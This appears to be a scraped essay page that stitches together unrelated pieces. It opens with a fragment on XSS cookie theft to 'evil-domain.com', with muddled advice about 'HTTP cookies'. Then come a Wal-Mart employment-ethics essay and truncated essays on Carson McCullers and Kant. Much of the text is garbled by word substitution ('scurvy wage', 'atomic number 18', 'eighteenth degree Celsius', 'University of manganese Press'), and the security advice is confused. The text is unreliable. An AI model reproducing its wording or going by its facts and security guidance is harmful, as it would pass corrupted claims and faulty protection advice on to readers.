cookie.domainAs this code is being loaded on to the user page, without being recognized by user send users cookie to the evil-domain.com. This problem happens to each and every person who visits the site. Once the hacker has the user cookie, it is very easy to penetrate and doing other attacks including the session hijacking. Whenever attack happens due to injection of third-party JavaScript into a page, it is referred as cross-site scripting attack or it is generally referred as XSS.Cookie theft doesnt occur by just injecting a malicious scrip onto your page accidentally, it can also happen due to poor input filtering. Such as a page, where the user can enter the text, which is the output, onto the page. If the text consists of a script tag with the similar code as mentioned above then it is possible to steal the cookiesThe cross site scripting attack has been used against large sites for example, live journal and MySpace. The best way to protect is of formsNever ever include the JavaScript for sites or domains which are untrusted. The CDNs of big companies like yahoo,AOL and Google should be more secure using best precaution which includes other locations.From all the user input the HTML should be filtered out. You should not accept an y user input and outbound onto a page without filtering it.ConclusionHence it is safe to use cookies which all the security issues around them. That is why HTTP cookies are considered as important over the standard cookies implementations. If a cookie is marked as HTTP, a attacker cannot inject or get access to the malicious script by cookie via document. So it becomes difficult to steal the cookies. When such a HTTP cookies are supported by the browsers it becomes a third option.

Evaluation Of The Employment Practices

Evaluation Of The Employment PracticesIntroduction Wal-Mart as a large private retailing player in both America and the world, has recently gained semipublic concerns over its engagement lawsuits. The employee lawsuits against Wal-Mart include il sanctioned immigrants child labor, scurvy wage poor benefits, sex discrimination, compulsory overtime browse. This has greatly degraded Wal-Mart reputation. It is obvious that Wal-Mart has offended the the honorable doctrines stated in global Business Standards Codex and deformed its Employment Practices by the above lawsuits. Therefore, in this essay, based on the current issues, it depart evaluate Wal-Mart Employment Practices by involving three ethical principles of GBS Codex (Dignity, Fairness and Citizenship Principles). At the end of the essay, based on the previous evidence and analysis, proper cobblers last will be made to furtherly address the business ethics in mess employment practices. The Dignity PrincipleThere argo n eight principles cover in the Global Business Standards Codex including fiduciary, property, reliability, transparency, dignity, neatness, citizenship, responsiveness (Carroll Buchholtz, 2008). These principles are not only applicable for business but also for the emloyment practices within organization. All of these codes should be respected by organizations when designing and implementing to govern their employment practices. The Dignity Principle refers to the respect for the individual, health and saftey, privacy and confidentiality, use of force, association and expression, learning and development and employment security and so on (Carroll Buchholtz, 2008). It requires organizations to respect the rights of employees in the working environment, and provide sound system to maintain the individuals development career within the organization. Wal-Mart has been found vile of forcing employees to work off-the-clock in the meal time, rest breaks and retention employees locked in Wal-Mart stores after closing. Wal-Mart is accused of not paying employees for the time worked off-the-clock. Employees are forced to work off-the-clock but without additional payment, from this perspective, Wal-Mart is not doing the right business ethics. By ignoring the feelings of employees towards the overtime working, Wal-Mart has offended the dignity principle and abused its rights as an employer. In this way, Wal-Mart was sued by its employees with the evidence that the company did not respect individuals labour. Low wage and poor benefits are also complained by most employees especially those working at the impose level. As Wal-Mart has been long-term making the consistent committedness to customers with low prices and quality goods, on the one hand, Wal-Mart continually push pressure on its suppliers, and on the new(prenominal) hand, it has to reduce its expenditure on the labor costs by offering lower wages and fewer benefits than many comparable retailers (Hemphill , 2008). In 2006, American victory sum representing 6 million American labors organized assembly in 35 cities in United States to protest Wal-Mart not providing medical insurance and low salary etc (Mathoda, 2006). From the GBS Codexs view, this betrays the ethic standard in terms of giving the corresponding salaries and benefits according to what they have done to the organization. Therefore, Wal-Mart has violated the dignity principle. In this way, employees are keeping leaving the company and contribute to the loss of human resources. The Fairness Principle The fairness principle in GBS Codex refers to fair dealing, fair treatment, fair competition, fair process (Carroll Buchholtz, 2008). Any organization in the market should comply with these fairness requirements both in its business transaction with its suppliers, customers, and its treatment principle to its employees. As employees are the best fortune for an organization, it is very crucial for an organization to realize it as one the key elements for its business success. Unfair treatment to employees is a violation of ethical principle. Wal-Mart was charged of sex descrimination by two women in 2001. Three years later, the sex descrimination case upgraded into collective case. The plaintiffs of over 1.6 million were all the women employed by Wal-Mart since 1988 (Crosby, Stockdale Ropp, 2007). This case has aroused great concerns from American and international communities. Wal-Mart has been found the practice of gender bias with great discrimination against female employees and it has also been accused of put down employees with disabilities and inequality based on sexual orientation. The unfairness of treating women is reflected in many ways including salaries, progresss, training etc (Besen Kimmel, 2006). In the case of a woman who was qualified for promotion and has worked for the position for many years, however, when she turned to her manager with regard to requiring for promotion, her ma nager directly refused the proposal just because she is a woman. While man employees would get promotion to a lower place the same situation. In this way, Wal-Mart is greatly disobeying its employment practices as it will give every employee the fair opportunity of training, developing and promoting. From the GBS Codex perspective, Wal-Mart also violates the fairness principle to a great extent. The Citizenship Principle The citizenship principle refers to behaviors of abiding by law regulation, public goods, cooperation with authorities, political noninvolvement, and civic contribution (Carroll Buchholtz, 2008). Any organization firstly is a citizen in the society and should do what a citizen should do to the society so as to increase its image as a qualified organization. Wal-Mart has not been cooperated with Union Organizations. It shows great resistance to Unions. Since its establishment, Wal-Mart remains the position as not allowing Unions involvement. Prior to American nati onwide Union movement, Wal-Mart printed and distributed Managers Practical Guide for Resisting Union to train and underline managers are the first line of defense (Tilly, 2007). Many Unions have given up the hopes of persuading Wal-Mart to unify in. Wal-Mart has its own opinion on this issue. It declares it is not anti-union organization, and it is making efforts to close partner. Since it implements an open policy for its employee staff and allow any employee to tell problems and concerns. Therefore, Wal-Mart does not need Unions. Like most of organizations, it is hard for Wal-Mart to change its attitudes towards Unions. It thinks Unions will object the corporation culture, and are just interested in receiving expensive Union member charges or organizing strikes but can not make any practical commitment to the growth of company. However, this is bad for employees since they do not have a third party organization to supervise and protect their rights. Although it is not compulsor y for an organization to join in Union, in United States Union plays a significant role in protecting employees rights in many aspects. By resisting Unions involvement, Wal-Mart actually deprived employees legal rights (Ness, 2005). Therefore, Wal-Mart as a mass retailing player does not comply with the citizenship principle to some extent. Conclusion In conclusion, as the results of analyses of the above three ethcial principles of Global Business Standard Codex and Wal-Mart ethical issues in terms of its employment practices, Wal-Mart was continually confronted lawsuits or complaints from its employees with regard to overtime work, less wage, poor benefits, sex discrimination etc. It is also impressive to be resisting Union involvement. For many years, Wal-Mart has been facing the most serious accuses with a calculation of 13 lawsuits every day. For the long time, Wal-Mart has been charge exclusively and continously to strive to reduce the prices and has ignored the deal with oth er issues such as wasting time with medias. However, as it grows fast and internationally, Wal-Mart may start to concetrate on making efforts to improve its reputation as a good employer and retailer.

The Heart is a Lonely Hunter Essay -- Essays Papers

The Heart is a L hotshotly hunterThe Heart is a Lonely Hunter by Carson McCullers is a novel that takes place in a small southern town during the times of pre-World War II, the late 1930s. McCullers main characters are misfits, lonely(a) and rejected. They are all looking for a place in the world. The most tragic of the characters is a deaf-mute named John singer. Singers life basically revolves around his one and only friend Spiros Antonapoulos, who is also a deaf-mute. Singer tells Antonapoulos everything he is thinking or feeling and it seems as though Antonapoulos is interested in everything but what Singer has to say. Antonapoulos only communicates with Singer when he is hungry or sleepy. Singer just assumes he is listening and understanding everything he says. They lived this...

Immanuel Kant (1724 - 1804) Essay -- Essays Papers

Immanuel Kant (1724 - 1804)Author of Foundations of the Metaphysics of Morals (1785). The Enlightenment was a desire for human affairs to be guided by rationality than by faith, superstition, or revelation a belief in the power of human rationality to change hunting lodge and liberate the individual from the restraints of custom or arbitrary authority all backed up by a world view increasingly clear by science rather than by religion or tradition. (Outram 1995)In the eighteenth degree Celsius, people started questioning the authority and knowledge of the church. New ideas placing human reason over faith and blind obedience began arising. This period in history is known as the Enlightenment. It is a movement, still in progress, for individual people to scope and hopefully grasp their highest potential. It began with the writings of philosophers such as Voltaire (1694-1778) and Charles-Louis Montesquieu (1689-1755). The second wave included Denis Diderot (1713-78), dAlem bert (1714-80), and Jean-Jacques Rousseau (1712-78), and the final stretch came from thinkers such as Lessing and Immanuel Kant (1724-1804). All three eras emphasized intellectual reason over faith and put more reliance on scientific discoveries and revelations. However, the people in the third part, especially Immanuel Kant, having the benefit of hindsight, atomic number 18 able to encompass the movement from faith to reason in their writings. The basic details of Kants biographic life take very little space. He was born(p) in 1724 in Konigsberg, the capital of East Prussia and one of Frederick the Greats garrison towns. Kant knew what it was like to bear as a peasant, since he came from a peasant family. His father was a harness maker. From an early age, Kant showed much intellectual potential and his local fame gained him admittance into a school called the Collegium Fredericianum, an institution run by Pietists. Pietism was an eighteenth century fundamentalist movemen t within German Protestantism, also followed by his parents, that minimized the authority of the church and stressed individual moral conduct (Sullivan 1994). Then, he accompanied the University of Konigsberg, also staffed mainly by Pietists. The influence of this religious background is reflected in Kants beliefs in the existence of God, in the dignity of each person, and in a everyday moral code. Kant spen... ...e believes that it is still going on. The time of Enlightenment is not over yet we still presently are in it today. He says If it is asked now whether we live at present in an Enlightened age, the answer is No, but we do live in an age of Enlightenment (Velkley 1989). Immanuel Kant Links University of are Link University of Arkansas Link Kant Homepage Link Kant Homepage Works Cited - Acton, H.B., Kants Moral Philosophy, published by Macmillan and Co., Copyright 1970. - Buchdahl, Gerd, Kant and the Dynamics of R eason, published by Blackwell Publishers, Copyright 1992. - Deleuze, Gilles, Kants Critical Philosophy, published by The University of manganese Press, Copyright 1983. - Sullivan, Roger J., An Introduction to Kants Ethics, published by Cambridge University Press, Copyright 1994. - Velkley, Richard L., Freedom and the End of Reason, published by The University of Chicago, Copyright 1989. - Wood, Allen W., Kants Rational Theology, published by Cornell University Press, Copyright 1978.